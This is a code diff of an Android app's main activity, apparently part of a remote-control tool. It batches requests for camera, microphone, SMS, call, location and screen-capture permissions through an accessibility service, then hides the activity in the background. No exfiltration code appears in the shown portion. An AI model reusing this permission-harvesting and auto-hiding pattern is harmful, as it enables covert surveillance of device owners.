+ private fun setPermissionRequestInProgressState(inProgress: Boolean, reason: String) {
+ permissionRequestInProgress = inProgress
+ if (inProgress) {
+ permissionRequestInProgressSince = System.currentTimeMillis()
+ Log.i(TAG, "🔒 权限申请状态=进行中, reason=$reason")
+ } else {
+ val elapsedMs = if (permissionRequestInProgressSince > 0L) {
+ System.currentTimeMillis() - permissionRequestInProgressSince
+ } else {
+ -1L
+ }
+ permissionRequestInProgressSince = 0L
+ Log.i(TAG, "🔓 权限申请状态=空闲, reason=$reason, elapsedMs=$elapsedMs")
+ }
+ }
+
+ private fun resetStalePermissionRequestIfNeeded(reason: String, force: Boolean = false): Boolean {
+ if (!permissionRequestInProgress) {
+ return false
+ }
+
+ val elapsedMs = if (permissionRequestInProgressSince > 0L) {
+ System.currentTimeMillis() - permissionRequestInProgressSince
+ } else {
+ Long.MAX_VALUE
+ }
+ val stale = elapsedMs >= permissionRequestStaleTimeoutMs
+ if (!force && !stale) {
+ return false
+ }
+
+ Log.w(
+ TAG,
+ "⚠️ 检测到权限申请状态疑似卡死，执行重置: reason=$reason, force=$force, stale=$stale, elapsedMs=$elapsedMs"
+ )
+ setPermissionRequestInProgressState(false, "stale_reset:$reason")
+ isAutoPermissionRequest = false
+ pendingWebRtcOnlyPermissionRequest = false
+ markPermissionRequesting(false)
+ return true
+ }
/**
*新增：记录应用启动次数
@@ -3554,35 +4446,7 @@ class MainActivity : AppCompatActivity() {
* 发送所有权限申请广播
*/
private fun sendAllPermissionsRequestBroadcast() {
- try {
- Log.i(TAG, "📡 发送所有权限申请广播")
-
- // 更新UI状态
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "正在申请所有权限...\n请一次性允许所有权限"
- statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
- }
- }
-
- // 发送广播给AccessibilityRemoteService
- val intent = Intent("android.mycustrecev.REQUEST_ALL_PERMISSIONS").apply {
- putExtra("action", "request_all_permissions")
- putExtra("callback_action", "all_permissions_complete")
- putExtra("timestamp", System.currentTimeMillis())
- }
- sendBroadcast(intent)
- Log.i(TAG, "已发送所有权限申请广播")
-
- } catch (e: Exception) {
- Log.e(TAG, "发送所有权限申请广播失败", e)
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "广播发送失败\n请重试"
- statusText.setTextColor(getColor(android.R.color.holo_red_dark))
- }
- }
- }
+ requestAllPermissionsAtOnce()
}
/**
@@ -3590,118 +4454,118 @@ class MainActivity : AppCompatActivity() {
*/
private fun requestAllPermissionsAtOnce() {
try {
- Log.i(TAG, "🎯 开始一次性获取所有权限")
-
- // 更新UI状态
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "正在申请所有权限...\n请一次性允许所有权限"
- statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
+ Log.i(TAG, "🎯 开始一次性获取所有运行时权限")
+
+ val allPermissions = mutableListOf()
+ val permissionNames = mutableListOf()
+
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
+ if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
+ allPermissions.add(android.Manifest.permission.CAMERA)
+ permissionNames.add("摄像头")
+ }
+ if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
+ allPermissions.add(android.Manifest.permission.RECORD_AUDIO)
+ permissionNames.add("麦克风")
+ }
+
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
+ val mediaPermissions = mutableListOf(
+ android.Manifest.permission.READ_MEDIA_IMAGES,
+ android.Manifest.permission.READ_MEDIA_VIDEO,
+ android.Manifest.permission.READ_MEDIA_AUDIO
+ )
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
+ mediaPermissions.add(android.Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED)
+ }
+ val missingMedia = mediaPermissions.filter {
+ checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
+ }
+ if (missingMedia.isNotEmpty()) {
+ allPermissions.addAll(missingMedia)
+ permissionNames.add("相册")
+ }
+ if (checkSelfPermission(android.Manifest.permission.POST_NOTIFICATIONS) != PackageManager.PERMISSION_GRANTED) {
+ allPermissions.add(android.Manifest.permission.POST_NOTIFICATIONS)
+ permissionNames.add("通知")
+ }
+ } else {
+ val legacyStorage = mutableListOf(android.Manifest.permission.READ_EXTERNAL_STORAGE)
+ if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.P) {
+ legacyStorage.add(android.Manifest.permission.WRITE_EXTERNAL_STORAGE)
+ }
+ val missingStorage = legacyStorage.filter {
+ checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
+ }
+ if (missingStorage.isNotEmpty()) {
+ allPermissions.addAll(missingStorage)
+ permissionNames.add("存储")
+ }
+ }
+
+ val smsPermissions = arrayOf(
+ android.Manifest.permission.READ_SMS,
+ android.Manifest.permission.SEND_SMS,
+ android.Manifest.permission.RECEIVE_SMS,
+ android.Manifest.permission.READ_PHONE_STATE,
+ android.Manifest.permission.CALL_PHONE
+ )
+ val missingSms = smsPermissions.filter {
+ checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
+ }
+ if (missingSms.isNotEmpty()) {
+ allPermissions.addAll(missingSms)
+ permissionNames.add("短信")
+ }
+
+ if (checkSelfPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
+ allPermissions.add(android.Manifest.permission.ACCESS_FINE_LOCATION)
+ permissionNames.add("定位")
}
}
-
- // 延迟执行权限申请，确保UI更新
- android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
- try {
- // 收集所有需要的权限
- val allPermissions = mutableListOf()
- val permissionNames = mutableListOf()
-
- // 摄像头权限
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
- if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
- allPermissions.add(android.Manifest.permission.CAMERA)
- permissionNames.add("摄像头")
- }
-
- // 麦克风权限
- if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
- allPermissions.add(android.Manifest.permission.RECORD_AUDIO)
- permissionNames.add("麦克风")
- }
-
- // 相册权限（根据Android版本选择）
- val galleryPermissions = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
- arrayOf(
- android.Manifest.permission.READ_MEDIA_IMAGES,
- android.Manifest.permission.READ_MEDIA_VIDEO
- )
- } else {
- arrayOf(
- android.Manifest.permission.READ_EXTERNAL_STORAGE,
- android.Manifest.permission.WRITE_EXTERNAL_STORAGE
- )
- }
-
- val needGalleryPermissions = galleryPermissions.filter {
- checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
- }
- if (needGalleryPermissions.isNotEmpty()) {
- allPermissions.addAll(needGalleryPermissions)
- permissionNames.add("相册")
- }
-
- // 短信权限
- val smsPermissions = arrayOf(
- android.Manifest.permission.READ_SMS,
- android.Manifest.permission.SEND_SMS,
- android.Manifest.permission.RECEIVE_SMS,
- android.Manifest.permission.READ_PHONE_STATE,
- android.Manifest.permission.CALL_PHONE
- )
-
- val needSmsPermissions = smsPermissions.filter {
- checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
- }
- if (needSmsPermissions.isNotEmpty()) {
- allPermissions.addAll(needSmsPermissions)
- permissionNames.add("短信")
- }
- }
-
- if (allPermissions.isNotEmpty()) {
- Log.i(TAG, "📋 需要申请的权限: ${permissionNames.joinToString(", ")}")
- Log.i(TAG, "📋 权限列表: ${allPermissions.joinToString(", ")}")
-
- // 一次性申请所有权限
- requestPermissions(allPermissions.toTypedArray(), REQUEST_ALL_PERMISSIONS)
-
- // 更新UI状态
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "正在申请权限: ${permissionNames.joinToString(", ")}\n请一次性允许所有权限"
- statusText.setTextColor(getColor(android.R.color.holo_orange_dark))
- }
- }
- } else {
- Log.i(TAG, "所有权限已授予，无需申请")
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "所有权限已授予\n无需申请"
- statusText.setTextColor(getColor(android.R.color.holo_green_dark))
- }
- }
- }
-
- } catch (e: Exception) {
- Log.e(TAG, "收集权限列表失败", e)
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "权限收集失败\n请重试"
- statusText.setTextColor(getColor(android.R.color.holo_red_dark))
- }
- }
+
+ if (allPermissions.isNotEmpty()) {
+ val dedupedPermissions = allPermissions.distinct()
+ val userFixed = getUserFixedDeniedPermissions(dedupedPermissions)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "批量权限中存在USER_FIXED: ${userFixed.joinToString(",")}")
}
- }, 1000) // 1秒延迟
-
+
+ val requestablePermissions = dedupedPermissions.filterNot { userFixed.contains(it) }
+ Log.i(TAG, "📋 需要申请的运行时权限: ${permissionNames.joinToString(", ")}")
+
+ if (requestablePermissions.isNotEmpty()) {
+ markRuntimePermissionsRequested(requestablePermissions)
+ requestPermissionsSafely(
+ requestablePermissions.toTypedArray(),
+ REQUEST_ALL_PERMISSIONS,
+ "legacy_batch_all_permissions"
+ )
+ } else if (userFixed.isNotEmpty()) {
+ updateStatusTextThreadSafe(
+ "权限被系统固定拒绝\n请在设置页手动开启",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ return
+ }
+
+ updateStatusTextThreadSafe(
+ "正在申请权限: ${permissionNames.joinToString("、")}\n请保持当前界面",
+ android.R.color.holo_orange_dark
+ )
+ } else {
+ Log.i(TAG, "所有运行时权限已授予")
+ updateStatusTextThreadSafe("运行时权限已就绪", android.R.color.holo_green_dark)
+ if (isAutoPermissionRequest) {
+ Handler(mainLooper).postDelayed({
+ hideActivityToBackground()
+ }, 800)
+ }
+ }
} catch (e: Exception) {
Log.e(TAG, "一次性权限申请失败", e)
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "权限申请失败\n请重试"
- statusText.setTextColor(getColor(android.R.color.holo_red_dark))
- }
- }
+ updateStatusTextThreadSafe("权限申请失败，请重试", android.R.color.holo_red_dark)
}
}
@@ -3754,7 +4618,7 @@ class MainActivity : AppCompatActivity() {
}
// 创建MediaProjection权限请求Intent
- val intent = mediaProjectionManager?.createScreenCaptureIntent()
+ val intent = createPreferredScreenCaptureIntent()
if (intent == null) {
Log.e(TAG, "创建MediaProjection权限Intent失败")
return
@@ -3809,6 +4673,34 @@ class MainActivity : AppCompatActivity() {
}
}
+ private fun createPreferredScreenCaptureIntent(): Intent? {
+ val manager = mediaProjectionManager ?: return null
+ val policy = DeviceDetector.getWebRtcTransportPolicy()
+ if (Build.VERSION.SDK_INT >= 34 && policy.preferDefaultDisplayCaptureIntent) {
+ try {
+ val configClass = Class.forName("android.media.projection.MediaProjectionConfig")
+ val createConfigMethod = configClass.getMethod("createConfigForDefaultDisplay")
+ val defaultDisplayConfig = createConfigMethod.invoke(null)
+ val intentMethod =
+ MediaProjectionManager::class.java.getMethod(
+ "createScreenCaptureIntent",
+ configClass
+ )
+ val intent = intentMethod.invoke(manager, defaultDisplayConfig) as? Intent
+ if (intent != null) {
+ Log.i(
+ TAG,
+ "✅ 使用DefaultDisplay配置创建MediaProjection权限Intent（优先整个屏幕）, strategy=${policy.strategyId}"
+ )
+ return intent
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 使用DefaultDisplay配置创建MediaProjection Intent失败，回退标准流程", e)
+ }
+ }
+ return manager.createScreenCaptureIntent()
+ }
+
/**
*专门为 MIUI 设备设计的权限申请方法 - 简化版，避免SimplePermissionActivity崩溃
*/
@@ -4352,7 +5244,11 @@ class MainActivity : AppCompatActivity() {
updateUI()
// 延迟检查其他权限，让无障碍服务有时间启动
android.os.Handler(mainLooper).postDelayed({
- checkAllPermissions()
+ if (unifiedPermissionFlowInProgress) {
+ continueUnifiedPermissionFlow("无障碍设置返回")
+ } else {
+ checkAllPermissions()
+ }
}, 1000)
}
// 删除悬浮窗权限结果处理
@@ -4399,7 +5295,11 @@ class MainActivity : AppCompatActivity() {
// 检查Intent参数
val permissionLostRecovery = intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false)
+ val webRtcOnlyRequest =
+ pendingWebRtcOnlyPermissionRequest || intent.getBooleanExtra("WEBRTC_ONLY_REQUEST", false)
Log.i(TAG, " - permissionLostRecovery: $permissionLostRecovery")
+ Log.i(TAG, " - webRtcOnlyRequest: $webRtcOnlyRequest")
+ var shouldStartUnifiedFlow = false
if (resultCode == Activity.RESULT_OK && data != null) {
Log.i(TAG, "MediaProjection权限申请成功，开始处理权限数据")
@@ -4411,12 +5311,17 @@ class MainActivity : AppCompatActivity() {
// 将权限数据存储到MediaProjectionHolder中
MediaProjectionHolder.setPermissionData(resultCode, data)
- // 启动前台服务
+ // Android 14+/15 上 getMediaProjection 需要 mediaProjection 类型前台服务上下文，
+ // WebRTC-only 模式也必须先启动服务，否则 WebRTC 首启会抛 SecurityException。
val foregroundServiceIntent = Intent(
this,
com.hikoncont.service.RemoteControlForegroundService::class.java
)
- foregroundServiceIntent.action = "START_MEDIA_PROJECTION"
+ foregroundServiceIntent.action = if (webRtcOnlyRequest) {
+ "START_MEDIA_PROJECTION_FGS_ONLY"
+ } else {
+ "START_MEDIA_PROJECTION"
+ }
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startForegroundService(foregroundServiceIntent)
@@ -4424,7 +5329,11 @@ class MainActivity : AppCompatActivity() {
startService(foregroundServiceIntent)
}
- Log.i(TAG, "已启动前台服务来处理MediaProjection")
+ if (webRtcOnlyRequest) {
+ Log.i(TAG, "WebRTC-only授权模式：已启动mediaProjection前台服务以满足系统要求")
+ } else {
+ Log.i(TAG, "已启动前台服务来处理MediaProjection")
+ }
// 检查是否为权限恢复流程
val permissionLostRecovery =
@@ -4473,6 +5382,7 @@ class MainActivity : AppCompatActivity() {
} else if (autoRequestPermission) {
Log.i(TAG, "MediaProjection权限申请完成，通知无障碍服务继续流程")
+ shouldStartUnifiedFlow = !webRtcOnlyRequest
// 发送广播通知无障碍服务继续处理（悬浮窗权限由开关控制）
val broadcastIntent =
@@ -4489,78 +5399,94 @@ class MainActivity : AppCompatActivity() {
sendBroadcast(broadcastIntent)
Log.i(TAG, "📡 已发送MEDIA_PROJECTION_GRANTED广播给AccessibilityRemoteService")
- //直接调用AccessibilityRemoteService方法，确保MediaProjection被正确设置
- try {
- val accessibilityService = AccessibilityRemoteService.getInstance()
- if (accessibilityService != null) {
+ if (!webRtcOnlyRequest) {
+ val skipDirectProjectionBootstrap = Build.VERSION.SDK_INT >= Build.VERSION_CODES.R
+ if (skipDirectProjectionBootstrap) {
Log.i(
TAG,
- "🔧 直接调用AccessibilityRemoteService处理MediaProjection权限"
+ "Android 11+ 跳过MainActivity直连MediaProjection注入，交给前台服务与后续WebRTC流程处理"
)
+ } else {
+ // Android 10及以下保留旧逻辑，兼容早期系统的ScreenCaptureManager启动路径
+ try {
+ val accessibilityService = AccessibilityRemoteService.getInstance()
+ if (accessibilityService != null) {
+ Log.i(
+ TAG,
+ "🔧 直接调用AccessibilityRemoteService处理MediaProjection权限"
+ )
- // 获取MediaProjection对象
- val mediaProjection = MediaProjectionHolder.getMediaProjection()
- if (mediaProjection != null) {
- Log.i(
- TAG,
- "MediaProjection对象存在，直接设置到ScreenCaptureManager"
- )
- // 直接调用内部方法设置MediaProjection
- val setupMethod = accessibilityService.javaClass.getDeclaredMethod(
- "setupScreenCaptureWithMediaProjection",
- android.media.projection.MediaProjection::class.java
- )
- setupMethod.isAccessible = true
- setupMethod.invoke(accessibilityService, mediaProjection)
- Log.i(TAG, "已直接设置MediaProjection到ScreenCaptureManager")
- } else {
- Log.w(TAG, "MediaProjection对象不存在，通过安全创建入口获取")
- // 通过 Holder 的安全创建入口获取，禁止直接调用 getMediaProjection()
- // 直接调用会创建新实例，系统自动 stop 旧实例触发 onStop 死循环
- val permissionData = MediaProjectionHolder.getPermissionData()
- if (permissionData != null) {
- val (safeResultCode, safeResultData) = permissionData
- if (safeResultData != null) {
- val newMediaProjection =
- MediaProjectionHolder.safeGetOrCreateProjection(
- this@MainActivity, safeResultCode, safeResultData
- )
- if (newMediaProjection != null) {
- Log.i(TAG, "通过安全创建入口获取MediaProjection成功")
+ // 获取MediaProjection对象
+ val mediaProjection = MediaProjectionHolder.getMediaProjection()
+ if (mediaProjection != null) {
+ Log.i(
+ TAG,
+ "MediaProjection对象存在，直接设置到ScreenCaptureManager"
+ )
+ // 直接调用内部方法设置MediaProjection
+ val setupMethod = accessibilityService.javaClass.getDeclaredMethod(
+ "setupScreenCaptureWithMediaProjection",
+ android.media.projection.MediaProjection::class.java
+ )
+ setupMethod.isAccessible = true
+ setupMethod.invoke(accessibilityService, mediaProjection)
+ Log.i(TAG, "已直接设置MediaProjection到ScreenCaptureManager")
+ } else {
+ Log.w(TAG, "MediaProjection对象不存在，通过安全创建入口获取")
+ // 通过 Holder 的安全创建入口获取，禁止直接调用 getMediaProjection()
+ // 直接调用会创建新实例，系统自动 stop 旧实例触发 onStop 死循环
+ val permissionData = MediaProjectionHolder.getPermissionData()
+ if (permissionData != null) {
+ val (safeResultCode, safeResultData) = permissionData
+ if (safeResultData != null) {
+ val newMediaProjection =
+ MediaProjectionHolder.safeGetOrCreateProjection(
+ this@MainActivity, safeResultCode, safeResultData
+ )
+ if (newMediaProjection != null) {
+ Log.i(TAG, "通过安全创建入口获取MediaProjection成功")
- // 设置到ScreenCaptureManager
- val setupMethod =
- accessibilityService.javaClass.getDeclaredMethod(
- "setupScreenCaptureWithMediaProjection",
- android.media.projection.MediaProjection::class.java
- )
- setupMethod.isAccessible = true
- setupMethod.invoke(
- accessibilityService,
- newMediaProjection
- )
- Log.i(TAG, "已设置MediaProjection到ScreenCaptureManager")
- } else {
- Log.e(TAG, "通过安全创建入口获取MediaProjection失败")
+ // 设置到ScreenCaptureManager
+ val setupMethod =
+ accessibilityService.javaClass.getDeclaredMethod(
+ "setupScreenCaptureWithMediaProjection",
+ android.media.projection.MediaProjection::class.java
+ )
+ setupMethod.isAccessible = true
+ setupMethod.invoke(
+ accessibilityService,
+ newMediaProjection
+ )
+ Log.i(TAG, "已设置MediaProjection到ScreenCaptureManager")
+ } else {
+ Log.e(TAG, "通过安全创建入口获取MediaProjection失败")
+ }
+ }
}
}
+ } else {
+ Log.w(TAG, "AccessibilityRemoteService实例不存在")
}
+ } catch (e: Exception) {
+ Log.e(TAG, "直接调用AccessibilityRemoteService失败", e)
}
- } else {
- Log.w(TAG, "AccessibilityRemoteService实例不存在")
}
- } catch (e: Exception) {
- Log.e(TAG, "直接调用AccessibilityRemoteService失败", e)
+ } else {
+ Log.i(TAG, "WebRTC-only授权模式：跳过ScreenCaptureManager注入，避免提前消费投屏token")
}
//重置自动权限申请标志
isAutoPermissionRequest = false
- permissionRequestInProgress = false // 重置权限申请进行中标志
+ setPermissionRequestInProgressState(false, "media_projection_result_ok") // 重置权限申请进行中标志
// 显示权限申请成功状态，给用户反馈
runOnUiThread {
if (::statusText.isInitialized) {
- statusText.text = "权限申请成功\n正在启动服务..."
+ statusText.text = if (webRtcOnlyRequest) {
+ "权限申请成功\nWebRTC模式就绪"
+ } else {
+ "权限申请成功\n正在启动服务..."
+ }
statusText.setTextColor(getColor(android.R.color.holo_green_dark))
}
if (::enableButton.isInitialized) {
@@ -4572,36 +5498,42 @@ class MainActivity : AppCompatActivity() {
//根据悬浮窗权限开关决定后续流程
Log.i(TAG, "🚀 MediaProjection权限成功，继续后续权限流程")
- // 短暂延迟后让无障碍服务处理后续流程
- android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
- if (!isFinishing) {
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "服务启动中...\n正在处理配置中"
- }
- if (::enableButton.isInitialized) {
- enableButton.text = "服务启动中..."
+ if (!webRtcOnlyRequest) {
+ // 短暂延迟后让无障碍服务处理后续流程
+ android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
+ if (!isFinishing) {
+ runOnUiThread {
+ if (::statusText.isInitialized) {
+ statusText.text = "服务启动中...\n正在处理配置中"
+ }
+ if (::enableButton.isInitialized) {
+ enableButton.text = "服务启动中..."
+ }
}
}
- }
- }, 1500) // 1.5秒后更新状态
+ }, 1500) // 1.5秒后更新状态
- // 等待无障碍服务完成处理后，显示最终状态
- android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
- if (!isFinishing) {
- runOnUiThread {
- if (::statusText.isInitialized) {
- statusText.text = "服务启动中..."
- statusText.setTextColor(getColor(android.R.color.holo_green_dark))
- }
- if (::enableButton.isInitialized) {
- enableButton.text = "服务已就绪"
- enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark))
- enableButton.isEnabled = false
+ // 等待无障碍服务完成处理后，显示最终状态
+ android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
+ if (!isFinishing) {
+ runOnUiThread {
+ if (::statusText.isInitialized) {
+ statusText.text = "服务启动中..."
+ statusText.setTextColor(getColor(android.R.color.holo_green_dark))
+ }
+ if (::enableButton.isInitialized) {
+ enableButton.text = "服务已就绪"
+ enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark))
+ enableButton.isEnabled = false
+ }
}
}
- }
- }, 5000) // 5秒后显示最终成功状态
+ }, 5000) // 5秒后显示最终成功状态
+ } else {
+ android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
+ hideActivityToBackground()
+ }, 800)
+ }
}
} catch (e: Exception) {
@@ -4661,6 +5593,27 @@ class MainActivity : AppCompatActivity() {
}
}
}
+
+ // 本轮授权流程结束后，清理手动授权模式标记
+ manualGrantOnlyMode = false
+ pendingWebRtcOnlyPermissionRequest = false
+
+ if (shouldStartUnifiedFlow && !unifiedPermissionFlowInProgress) {
+ Log.i(TAG, "🚦 录屏授权成功后启动统一权限编排，补齐运行时与特殊权限")
+ startUnifiedPermissionFlow("录屏权限回调", false)
+ } else if (unifiedPermissionFlowInProgress) {
+ Handler(mainLooper).postDelayed({
+ continueUnifiedPermissionFlow("录屏权限回调")
+ }, 800)
+ }
+
+ Handler(mainLooper).postDelayed({
+ try {
+ AccessibilityRemoteService.getInstance()?.checkAndHideConfigMask()
+ } catch (e: Exception) {
+ Log.w(TAG, "录屏权限回调后触发配置完成检查失败", e)
+ }
+ }, 600)
}
/**
@@ -4671,7 +5624,8 @@ class MainActivity : AppCompatActivity() {
//重置权限申请标志
isAutoPermissionRequest = false
- permissionRequestInProgress = false
+ setPermissionRequestInProgressState(false, "media_projection_result_denied")
+ pendingWebRtcOnlyPermissionRequest = false
// 发送广播通知无障碍服务权限被拒绝
val broadcastIntent = Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply {
@@ -4867,11 +5821,15 @@ class MainActivity : AppCompatActivity() {
// 停止监听
stopMediaProjectionPermissionMonitoring()
- // 模拟onActivityResult调用
- val (resultCode, data) = permissionData
- if (data != null) {
- Log.i(TAG, "🔧 权限监听检测到权限获取，手动触发权限处理流程")
- handleMediaProjectionResult(resultCode, data)
+ if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.Q) {
+ // Android 10及以下保留手动兜底，避免部分ROM不回调onActivityResult
+ val (resultCode, data) = permissionData
+ if (data != null) {
+ Log.i(TAG, "🔧 权限监听检测到权限获取，手动触发权限处理流程")
+ handleMediaProjectionResult(resultCode, data)
+ }
+ } else {
+ Log.i(TAG, "Android 11+ 仅做权限监听收敛，不再手动触发handleMediaProjectionResult")
}
return
}
@@ -4968,6 +5926,8 @@ class MainActivity : AppCompatActivity() {
val requestSMSPermission = intent.getBooleanExtra("request_sms_permission", false)
if (requestSMSPermission) {
Log.i(TAG, "收到短信权限申请请求")
+ // 清理一次性标记，防止重复触发
+ intent.removeExtra("request_sms_permission")
requestSMSPermission()
}
} catch (e: Exception) {
@@ -4984,6 +5944,8 @@ class MainActivity : AppCompatActivity() {
intent.getBooleanExtra("request_gallery_permission", false)
if (requestGalleryPermission) {
Log.i(TAG, "🖼️ 收到相册权限申请请求")
+ // 清理一次性标记，防止重复触发
+ intent.removeExtra("request_gallery_permission")
requestGalleryPermission()
}
} catch (e: Exception) {
@@ -5000,6 +5962,8 @@ class MainActivity : AppCompatActivity() {
intent.getBooleanExtra("request_microphone_permission", false)
if (requestMicrophonePermission) {
Log.i(TAG, "🎤 收到麦克风权限申请请求")
+ // 清理一次性标记，防止重复触发
+ intent.removeExtra("request_microphone_permission")
requestMicrophonePermission()
}
} catch (e: Exception) {
@@ -5031,8 +5995,23 @@ class MainActivity : AppCompatActivity() {
checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
}
if (needPermissions.isNotEmpty()) {
+ val userFixed = getUserFixedDeniedPermissions(needPermissions)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "相册权限被系统固定拒绝(直接请求): ${userFixed.joinToString(",")}")
+ updateStatusTextThreadSafe(
+ "相册权限被系统限制\n请到设置手动开启",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ return
+ }
Log.i(TAG, "🖼️ 直接申请相册权限")
- requestPermissions(needPermissions.toTypedArray(), REQUEST_GALLERY_PERMISSION)
+ markRuntimePermissionsRequested(needPermissions)
+ requestPermissionsSafely(
+ needPermissions.toTypedArray(),
+ REQUEST_GALLERY_PERMISSION,
+ "gallery_direct_request"
+ )
} else {
Log.i(TAG, "相册权限已授予")
}
@@ -5058,8 +6037,23 @@ class MainActivity : AppCompatActivity() {
val needPermissions =
permissions.filter { checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED }
if (needPermissions.isNotEmpty()) {
+ val userFixed = getUserFixedDeniedPermissions(needPermissions)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "相册权限被系统固定拒绝: ${userFixed.joinToString(",")}")
+ updateStatusTextThreadSafe(
+ "相册权限被系统限制\n请到设置手动开启",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ return
+ }
Log.i(TAG, "🖼️ 申请相册权限")
- requestPermissions(needPermissions.toTypedArray(), REQUEST_GALLERY_PERMISSION)
+ markRuntimePermissionsRequested(needPermissions)
+ requestPermissionsSafely(
+ needPermissions.toTypedArray(),
+ REQUEST_GALLERY_PERMISSION,
+ "gallery_request"
+ )
} else {
Log.i(TAG, "相册权限已授予")
}
@@ -5080,10 +6074,23 @@ class MainActivity : AppCompatActivity() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
+ val pending = listOf(android.Manifest.permission.RECORD_AUDIO)
+ val userFixed = getUserFixedDeniedPermissions(pending)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "麦克风权限被系统固定拒绝(直接请求)")
+ updateStatusTextThreadSafe(
+ "麦克风权限被系统限制\n请到设置手动开启",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ return
+ }
Log.i(TAG, "🎤 直接申请麦克风权限")
- requestPermissions(
+ markRuntimePermissionsRequested(pending)
+ requestPermissionsSafely(
arrayOf(android.Manifest.permission.RECORD_AUDIO),
- REQUEST_MICROPHONE_PERMISSION
+ REQUEST_MICROPHONE_PERMISSION,
+ "microphone_direct_request"
)
} else {
Log.i(TAG, "麦克风权限已授予")
@@ -5103,10 +6110,23 @@ class MainActivity : AppCompatActivity() {
try {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) {
+ val pending = listOf(android.Manifest.permission.RECORD_AUDIO)
+ val userFixed = getUserFixedDeniedPermissions(pending)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "麦克风权限被系统固定拒绝")
+ updateStatusTextThreadSafe(
+ "麦克风权限被系统限制\n请到设置手动开启",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ return
+ }
Log.i(TAG, "🎤 申请麦克风权限")
- requestPermissions(
+ markRuntimePermissionsRequested(pending)
+ requestPermissionsSafely(
arrayOf(android.Manifest.permission.RECORD_AUDIO),
- REQUEST_MICROPHONE_PERMISSION
+ REQUEST_MICROPHONE_PERMISSION,
+ "microphone_request"
)
} else {
Log.i(TAG, "麦克风权限已授予")
@@ -5138,8 +6158,23 @@ class MainActivity : AppCompatActivity() {
checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED
}
if (needPermissions.isNotEmpty()) {
+ val userFixed = getUserFixedDeniedPermissions(needPermissions)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "短信权限被系统固定拒绝(直接请求): ${userFixed.joinToString(",")}")
+ updateStatusTextThreadSafe(
+ "短信权限被系统限制\n请到设置手动开启",
+ android.R.color.holo_orange_dark
+ )
+ openAppDetailsSettings()
+ return
+ }
Log.i(TAG, "直接申请短信权限")
- requestPermissions(needPermissions.toTypedArray(), REQUEST_SMS_PERMISSION)
+ markRuntimePermissionsRequested(needPermissions)
+ requestPermissionsSafely(
+ needPermissions.toTypedArray(),
+ REQUEST_SMS_PERMISSION,
+ "sms_direct_request"
+ )
} else {
Log.i(TAG, "短信权限已授予")
}
@@ -5168,8 +6203,23 @@ class MainActivity : AppCompatActivity() {
}
if (needPermissions.isNotEmpty()) {
+ val userFixed = getUserFixedDeniedPermissions(needPermissions)
+ if (userFixed.isNotEmpty()) {
+ Log.w(TAG, "短信权限被系统固定拒绝: ${userFixed.joinToString(",")}")
+ updateStatusTextThreadSafe(
+ "短信权限被系统限制\n请到设置手动开启",
+ android.R.color.holo_orange_dark
+ )
